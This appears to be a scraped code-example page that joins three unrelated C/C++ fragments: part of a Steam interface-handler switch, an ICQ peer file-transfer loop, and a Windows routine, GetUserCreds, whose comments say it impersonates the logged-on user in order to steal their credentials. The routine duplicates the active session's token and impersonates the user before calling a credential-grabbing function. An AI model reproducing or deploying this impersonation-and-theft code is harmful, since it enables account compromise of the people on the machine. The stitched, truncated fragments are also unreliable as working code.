// 		ADD_INTERFACE(INTERFACE_STEAMUSER013, void)
// 		ADD_INTERFACE(INTERFACE_STEAMUSER014, void)
// 		ADD_INTERFACE(INTERFACE_STEAMUSER015, void)
		ADD_INTERFACE(INTERFACE_STEAMUSER016, SteamUser016)
// 		ADD_INTERFACE(INTERFACE_STEAMUSER017, void)

// 		ADD_INTERFACE(INTERFACE_STEAMUSERSTATS001, void)
// 		ADD_INTERFACE(INTERFACE_STEAMUSERSTATS002, void)
// 		ADD_INTERFACE(INTERFACE_STEAMUSERSTATS003, void)
// 		ADD_INTERFACE(INTERFACE_STEAMUSERSTATS004, void)
// 		ADD_INTERFACE(INTERFACE_STEAMUSERSTATS005, void)
// 		ADD_INTERFACE(INTERFACE_STEAMUSERSTATS006, void)
// 		ADD_INTERFACE(INTERFACE_STEAMUSERSTATS007, void)
// 		ADD_INTERFACE(INTERFACE_STEAMUSERSTATS008, void)
// 		ADD_INTERFACE(INTERFACE_STEAMUSERSTATS009, void)
// 		ADD_INTERFACE(INTERFACE_STEAMUSERSTATS010, void)
		ADD_INTERFACE(INTERFACE_STEAMUSERSTATS011, SteamUserStats011)

// 		ADD_INTERFACE(INTERFACE_STEAMUTILS001, void)
// 		ADD_INTERFACE(INTERFACE_STEAMUTILS002, void)
// 		ADD_INTERFACE(INTERFACE_STEAMUTILS003, void)
// 		ADD_INTERFACE(INTERFACE_STEAMUTILS004, void)
 		ADD_INTERFACE(INTERFACE_STEAMUTILS005, SteamUtils005)
// 		ADD_INTERFACE(INTERFACE_STEAMUTILS006, void)
// 		ADD_INTERFACE(INTERFACE_STEAMUTILS007, void)

	default:
		break;
	}

	auto message = hString::va("Missing handler for interface '%s' (%d)!", InterfaceManager::SteamInterfaces[interfaceID], interfaceID);

	WinConsole::EnqueueMessage("ERR", (char *)hString::va("InterfaceManager: %s", message), "");
	MessageBoxA(0, message, "Error", MB_ICONERROR);
	return NULL;
}
Esempio n. 27
0
 static void sendFile(HICQ icq, PEERSESSION *cfg)
 {
    unsigned char *pkt = NULL;
    int           sz;
    char	  buffer[2050];

    cfg->flags |= PEERFLAG_ACTIVE;

    if(icqv8_connectPeer(icq,cfg,FALSE))
    {
       icqRemoveElement(cfg->peer->sessions, cfg);
       return;
    }

    DBGMessage("---[ Sessao de envio de arquivo iniciada ]---");

    DBGTracex(cfg->flags & PEERFLAG_ACTIVE);

    icqv8_sendPeerHello(icq,cfg);

    cfg->idle = 0;
    DBGTracex(cfg->flags & PEERFLAG_ACTIVE);

    while( (cfg->flags & PEERFLAG_ACTIVE) && cfg->peer->active && icqIsActive(icq))
    {
       cfg->idle = 0;

       DBGTrace(icqPeekSocket(cfg->sock, cfg->delay));

       if( !(cfg->flags & PEERFLAG_READY) || icqPeekSocket(cfg->sock, cfg->delay) )
       {
          sz = icqv8_recvPeer(icq,cfg->peer,cfg->sock,(void **) &pkt);
          DBGTrace(sz);

          if(sz <= 0)
          {
             CHKPoint();
             cfg->flags &= ~PEERFLAG_ACTIVE;
          }
          else
          {
             DBGTrace(*pkt);
             if(icqv8_execPeer(icq,cfg,sz,pkt))
                cfg->flags &= ~PEERFLAG_ACTIVE;
             else if(*pkt == 0xFF)
                initFileSend(icq,cfg);

             free((void *) pkt);
             pkt = NULL;
          }
       }
       else if(cfg->arq)
       {
          /* Carregar o arquivo */
          DBGMessage("********************* ENVIAR BLOCO DE DADOS **********************");

          *buffer = 0x06;
          sz      = fread(buffer+1, 1, 2048, cfg->arq);

          switch(sz)
          {
          case 0:	/* Fim do arquivo */
             DBGMessage("******* EOF *******");
             cfg->flags &= ~PEERFLAG_READY;
             cfg->flags |= PEERFLAG_COMPLETE;
             sprintf(buffer,"File sent by session %08lx",(ULONG) cfg);
             DBGMessage(buffer);
             icqWriteSysLog(icq,PROJECT,buffer);
             fclose(cfg->arq);
             cfg->arq = NULL;
             break;

          case -1:      /* Erro de leitura do arquivo */
             icqWriteSysRC(icq, PROJECT, -1, "Error reading data file");
             cfg->flags &= ~PEERFLAG_ACTIVE;
             break;

          default:
             DBGPrint("Enviar %d bytes de dados",sz);
             icqv8_sendBlock(cfg->sock, sz+1, buffer);

          }
       }
       else
       {
          DBGMessage("**** Envio de arquivo terminado ****");
          cfg->flags &= ~PEERFLAG_ACTIVE;
       }
    }

    DBGMessage("Terminando sessao de envio de arquivo");

    cfg->idle = 0;

    if(pkt)
       free((void *) pkt);

    icqv8_terminateSession(icq,cfg);

    cfg->thread = 0;

    DBGMessage("---[ Sessao de envio de arquivo terminada ]---");
 }
Esempio n. 28
0
//
// Impersonate the currently logged on user,
// and then steal that user's creds
//
VOID GetUserCreds(VOID){
	CHAR UserName[128] = {0};
	LPSTR LoggedOnUserName = NULL;
	DWORD dwUserNameLen = 128;
	HANDLE hToken= NULL;

	DBGPrint("Called\n");

	//Impersonate user
	DWORD dwSessionID = WTSGetActiveConsoleSessionId();
	if ( dwSessionID == 0xFFFFFFFF )
	{
		DBGPrint("WTSGetActiveConsoleSessionId failed. 0x%x\n", GetLastError());
		return;
	}

	//Current user
	dwUserNameLen = 128;
	if(GetUserName(UserName,&dwUserNameLen) ){
		DBGPrint("Current user is: <%s> \n",UserName);
	}

	//Get the name of the logged in user
    if(!WTSQuerySessionInformation(WTS_CURRENT_SERVER_HANDLE,dwSessionID,WTSUserName,&LoggedOnUserName,&dwUserNameLen ))
	{
		DBGPrint("WTSQuerySessionInformation failed. 0x%x\n",GetLastError());
		return;
	}
	DBGPrint("LoggedOnUserName. %s\n",LoggedOnUserName);


	//Get the token of the logged in user
	if ( !WTSQueryUserToken( dwSessionID, &hToken ) )
	{
		DBGPrint( "WTSQueryUserToken failed. 0x%x\n", GetLastError( ) );
		return;
	}

	// duplicate the token
	HANDLE hDuplicated = NULL;
	if ( !DuplicateToken( hToken, SecurityImpersonation, &hDuplicated ) )
	{
		DBGPrint( "DuplicateToken failed. 0x%x\n", GetLastError( ) );
		CloseHandle( hToken );
		return;
	}

	if(ImpersonateLoggedOnUser(hDuplicated) != TRUE){
		DBGPrint("ImpersonateLoggedOnUser Failed\n");
		CloseHandle( hToken);
		CloseHandle(hDuplicated);
		return;
	}


	//steal creds
	GetCredsForCurrentUser(NULL);

	//Restore user
	RevertToSelf();


	//Free duplicated token
	if( hDuplicated){
		CloseHandle( hDuplicated );
	}

	//Free original token
	if(hToken){
		CloseHandle( hToken );
	}

	//Free logged in user name
	if(LoggedOnUserName){
		WTSFreeMemory(LoggedOnUserName);
	}

	DBGPrint("Returning\n");

}